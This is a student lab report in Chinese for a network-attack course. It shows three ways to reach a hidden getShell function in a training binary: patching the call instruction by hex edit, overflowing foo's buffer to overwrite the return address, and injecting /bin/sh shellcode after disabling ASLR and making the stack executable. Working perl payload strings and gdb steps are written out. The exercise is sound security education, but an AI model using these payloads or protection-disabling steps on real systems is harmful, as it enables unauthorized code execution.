2019-2020-2 20175316盛茂淞《网络对抗技术》Exp1 PC平台逆向破解
一、实践目的
-
本次实践的对象是一个名为pwn1的linux可执行文件。
-
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
-
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
二、实践要求
-
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
-
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
-
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
-
运行原本不可访问的代码片段
-
强行修改程序执行流
-
以及注入运行任意代码。
-
三、相关知识点
1.反汇编指令
objdump -d pwn1 | more
object dump
项目导出
-d disassemble
反汇编
|
管道符,把一个命令的标准输出传到另一个命令的标准输入中
more
分页显示
2.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP汇编指令的机器码是“90”
JNE汇编指令的机器码是“75”
JE 汇编指令的机器码是“74”
JMP汇编指令的机器码是“eb”
CMP汇编指令的机器码是“39”
3.掌握反汇编与十六进制编程器
反汇编指令objdump -d filename
object dump
项目导出
d disassemble
反汇编
|
管道符,把一个命令的标准输出传到另一个命令的标准输入中
more
分页显示
- 十六进制编程器,是用来以16进制视图进行文本编辑的编辑工具软件。其实我们只需要用各系统都兼容的“vim”编辑器就可以实现十六进制编辑的功能。具体步骤如下:
- 输入命令vi pwn1查看可执行文件内容,为ASCII码形式显示;
- 输入:%!xxd将显示模式切换为16进制模式;
- 进行相关操作后,输入:%!xxd -r转换16进制为为ASCII码形式。
四、实践内容
(一)任务一 直接修改程序机器指令,改变程序执行流程
思路
- 找到getShell函数的位置
- 修改main函数中,call指令的参数,使得程序调用getShell函数
步骤
-
下载目标文件pwn1,使用objdump -d pwn1对pwn1反汇编:
-
主函数中
call 8048491 <foo>
的汇编指令将调用位于地址8048491处的foo
函数,其对应机器指令为e8 d7ffffff
,e8
为跳转之意。当解释执行e8
这条指令时,CPU就会执行EIP + d7ffffff
这个位置的指令。d7ffffff
是补码,80484ba +d7ffffff= 80484ba-0x29
是8048491的值 -
main函数调用
foo
,对应机器指令为e8 d7ffffff
- 那如果要修改后让它调用
getShell
,只要修改d7ffffff
为getShell-80484ba
对应的补码就可以 - 通过计算
804847d-80484ba
得到补码为c3ffffff
- 那如果要修改后让它调用
-
由此我们就修改可执行文件,将其中的call指令的目标地址由
d7ffffff
变为c3ffffff
以实现改变程序执行流程- 所以我们使用
Esc+:%!xxd
将其转换为16进制显示出来,/d7ff
查找所需更改处,回车选中d
,使用r
修改,即rc+r3
,:%!xxd -r
将文件再次转换为机器代码,如果不这么做会导致无法运行,然后Esc+:wq
保存退出。
- 所以我们使用
- 运行pwn2,发现会得到shell提示符,证明我们的修改成功改变了程序执行流程
(二)任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
-
首先依旧是反汇编pwn1,可见运行时调用如下
foo
函数,有Buffer overflow漏洞,其指令lea只为用户预留了1c=28个字节,如果超出则会造成溢出,覆盖返回地址
-
我们使用gdb进行调试确定输入字符串到哪里时会覆盖到返回地址:
-
使用gdb调试pwn1,使程序发生段错误,使用
info r
查看寄存器的值
-
此时eip的值为
0x35353535
,35的ASCII码表对应为5,所以我们将所有的5改为12345678,确认具体是哪一位之后造成溢出: -
可见是4321,并知道存储方式为小端模式,所以我们只要把1234替换为getShell的内存地址,在运行pwn1时输入,我们就可以实现改变程序执行流
-
getshell的内存地址为
0804847d
,因为是小端模式,所以我们应输入11111111222222223333333344444444\x7d\x84\x04\x08
,perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使输出重定向>将perl生成的字符串存储到文件input中。 -
执行后使用16进制查看指令
xxd input
查看input文件的内容是否如预期。
-
然后使用
(cat input; cat) | ./pwn1
将input的输入,通过管道符“|”,作为pwn1的输入。 -
经测试程序已经调用了
getShell
函数,达到了改变程序执行流的目的
(三)任务三:注入一个自己制作的shellcode并运行这段shellcode。
1. 准备shellcode
- shellcode就是一段机器指令(code)
- 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 和前面的getshell功能一致,唯一的区别在于,getshell是可执行程序里已有的,只是用户不可见,而shellcode是自己编写的,可以实现任何功能。
2. 攻击思路
- 攻击思路还是利用缓冲区溢出
- 同理还是使若输入的字符串第33、34、35、36这四个字节覆盖EIP的值,即返回地址
- 返回地址不再是修改为getshell的地址,而是shellcode的地址
- 确定shellcode的位置,一般放在EIP之后
- 构造字符串,使第33、34、35、36这四个字节指向shellcode的起始地址
- 在shellcode前加入0x90 0x90这样的空指令NOPS,因为不知道shellcode的起始地址,这种布局模式称为RNS(return nops shellcode)模式
3. 构造要注入的payload
- Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode(一般来说使用RNS的形式)
- nop+shellcode+retaddr(约束shellcode的大小)
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
4. 实验步骤
- 设置堆栈可执行
execstack -s pwn1_20175316 //设置堆栈可执行
execstack -q pwn1_20175316 //查询文件的堆栈是否可执行
- 关闭地址随机化(若文件权限不够,则输入
sudo -s
),2为开启,0为关闭
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭
echo "0" /proc/sys/kernel/randomize_va_space //关闭随机化
- 注入一段代码,我们首先构造一个input_shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
-
使用
xxd input_shellcode
查看文件内容 -
通过管道符|,作为pwn1的输入,格式为(cat input_shellcode; cat ) | ./pwn1_20175316
-
在另外一个窗口ps -ef | grep pwn1_20175316能看见当前运行pwn1的进程号为2662;
-
启用gdb调试进程,输入
attach 2662
动态调试当前进程号进程 -
使用
disassemble foo
反编译
-
可以看到ret指令的地址为
0x080484ae
,在此处设置断点break *0x080484ae
-
在另一个终端按下回车,这样程序就会执行之后在断点处停下来
-
再在gdb调试的终端输入
c
继续运行程序 -
info r esp
查看esp寄存器地址 -
x/16x 0xffffd36c
以16进制形式查看0xffffd36c
地址后面16字节的内容
-
0xffffd36c
存放的数据是01020304
,那么shellcode地址就是0xffffd370
-
修改input_shellcode文件对应代码为:
perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 然后使用
(cat input_shellcode;cat) | ./pwn1_20175316
将input_shellcode的输入,通过管道符“|”,作为pwn1的输入。 - 经检验实现了shell功能:
过程中遇到的问题
原因:注入地址不对
应为perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
实践总结
什么是漏洞?漏洞有什么危害?
漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
漏洞会影响到的范围很大,包括系统本身及其支撑软件,网络客户和服务器软件,网络路由器和安全防火墙等。换而言之,在这些不同的软硬件设备中都可能存在不同的安全漏洞问题。在不同种类的软、硬件设备,同种设备的不同版本之间,由不同设备构成的不同系统之间,以及同种系统在不同的设置条件下,都会存在各自不同的安全漏洞问题。漏洞威胁了计算机的系统安全,给攻击者有可乘之机,可能引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
心得体会
通过三个小实验以及刘老师课上的讲解,对缓冲区溢出攻击有了更多的了解。听老师讲和自己做还是存在差别,实验中遇到的问题也通过同学的帮助或者百度解决。以后还要通过更多的实践操作巩固所学。
通过这次实验,我了解了PC平台逆向破解技术,掌握了函数调用栈帧结构、缓冲区溢出攻击技术和shellcode攻击技术,这些技术其实都挺好玩的,学习起来也充满乐趣。本次实验虽然比较简单,但是过程也出现了很多问题,比如之前共享文件夹的设置没有完全成功,折腾了一番才找到共享文件夹...没有安装32位兼容器的问题也耗费了很多时间来查找...我特别感谢刘老师和帮助我解决问题的给我同学,让我的实验少花费了更多时间,我之前的学习模式更偏向自己在网上找答案,如果网上解释的不详细或不正确,会造成很大的麻烦(这次的upgrade就让我的kali蓝屏了...差点自闭),现在我发现了询问老师同学会更快更方便~